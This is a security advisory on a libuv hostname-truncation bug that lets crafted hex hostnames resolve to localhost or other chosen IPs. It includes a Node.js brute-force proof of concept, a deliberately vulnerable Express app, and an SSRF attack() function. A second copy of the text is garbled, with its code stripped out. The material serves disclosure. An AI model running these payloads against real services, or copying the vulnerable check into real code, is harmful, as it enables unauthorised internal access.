Summary
The uv_getaddrinfo
function in src/unix/getaddrinfo.c
(and its windows counterpart src/win/getaddrinfo.c
), truncates hostnames to 256 characters before calling getaddrinfo
. This behavior can be exploited to create addresses like 0x00007f000001
, which are considered valid by getaddrinfo
and could allow an attacker to craft payloads that resolve to unintended IP addresses, bypassing developer checks.
Details
The vulnerability arises due to how the hostname_ascii
variable (with a length of 256 bytes) is handled in uv_getaddrinfo
and subsequently in uv__idna_toascii
. When the hostname exceeds 256 characters, it gets truncated without a terminating null byte. Depending on the build and runtime environment, it can lead to different exploitation scenarios:
- For example In some nodejs builds, like the one distributed with Kali Linux, the next byte in memory happens to be a null byte, making the truncated hostname valid.
- In other builds, the last byte of the hostname is a random value (0-256) but identical in successive calls, and the subsequent byte is a null byte. This situation can be exploited through brute force, especially in production environments where many Node.js instances run in parallel (
pm2
, kubernetes
, etc).
- Since the last byte is random, there are cases where it's one of
0-9a-f
, which makes 16 possible cases (out of 256) useful for calling localhost (127.0.0.x) and potentially bypassing security measures on internal APIs. The same is true for calling other IP-ranges.
PoC
// nodejs reproduction code:
const dns = require('dns');
async function run(ip, exactIP) {
let hexIP = ip.split('.').map(x => (+x).toString(16).padStart(2, '0')).join('');
if (!exactIP) {
hexIP = hexIP.substring(0, hexIP.length - 1);
}
const payload = `0x${'0'.repeat(256-hexIP.length-2)}${hexIP}.example.com`;
dns.lookup(payload, (err, addr) => {
if (err); // not successful
else if (addr === ip) console.log('*', addr);
else console.log(' ', addr); // resolved to a shifted ip-address
});
}
if (process.argv[2]) {
run ('4.2.2.4', true) // exact match, less probable (P=1/256), for kali-like builds works perfectly
// run('127.0.0.1', false); // any 127.0.0.x, higher probability (P=1/32)
} else {
const cp = require('child_process')
for (let i=0; i<1024; ++i) {
cp.spawn('node', [process.argv[1], 'x'], { stdio: 'inherit' });
}
}
Impact
-
Access to Internal APIs:
The following code, when deployed in an environment with multiple pods (e.g., Kubernetes), is vulnerable to the attack described above, potentially allowing unauthorized access to internal APIs.
const axios = require('axios');
const express = require('express');
const app = express();
app.get('/', async (req, res) => {
const url = req.query?.url || '';
if (new URL(url).hostname.endsWith('.example.com')) {
try {
const { data } = await axios.get(url, { timeout: 3000 });
res.send(data);
} catch(e) {
res.status(400).send('error');
}
} else {
res.status(400).send('Invalid url');
}
});
app.listen(80);
// internal endpoint available only to local IPs
// (in reality deployed inside another service)
const internalApp = express();
internalApp.get('/secret', (req, res) => {
res.send('the secret panel');
});
internalApp.listen(3000);
// pm2 start s1.js -i 128
function attack() {
for (let i=0; i<128; i++) {
const payload = '0x' + '0'.repeat(246) + '7f000001';
fetch(`http://localhost?url=http://${payload}.example.com:3000/secret`)
.then(x => x.text())
.then(console.log);
}
}
-
SSRF Attack:
Another scenario involves websites (similar to MySpace) that allows users to have username.example.com
pages. Internal services that crawl or cache these user pages can be exposed to SSRF attacks if a malicious user chooses a long vulnerable username.
Summary
The
uv_getaddrinfo
function insrc/unix/getaddrinfo.c
(and its windows counterpartsrc/win/getaddrinfo.c
), truncates hostnames to 256 characters before callinggetaddrinfo
. This behavior can be exploited to create addresses like0x00007f000001
, which are considered valid bygetaddrinfo
and could allow an attacker to craft payloads that resolve to unintended IP addresses, bypassing developer checks.Details
The vulnerability arises due to how the
hostname_ascii
variable (with a length of 256 bytes) is handled inuv_getaddrinfo
and subsequently inuv__idna_toascii
. When the hostname exceeds 256 characters, it gets truncated without a terminating null byte. Depending on the build and runtime environment, it can lead to different exploitation scenarios:pm2
,kubernetes
, etc).0-9a-f
, which makes 16 possible cases (out of 256) useful for calling localhost (127.0.0.x) and potentially bypassing security measures on internal APIs. The same is true for calling other IP-ranges.PoC
Impact
Access to Internal APIs:
The following code, when deployed in an environment with multiple pods (e.g., Kubernetes), is vulnerable to the attack described above, potentially allowing unauthorized access to internal APIs.
SSRF Attack:
Another scenario involves websites (similar to MySpace) that allows users to have
username.example.com
pages. Internal services that crawl or cache these user pages can be exposed to SSRF attacks if a malicious user chooses a long vulnerable username.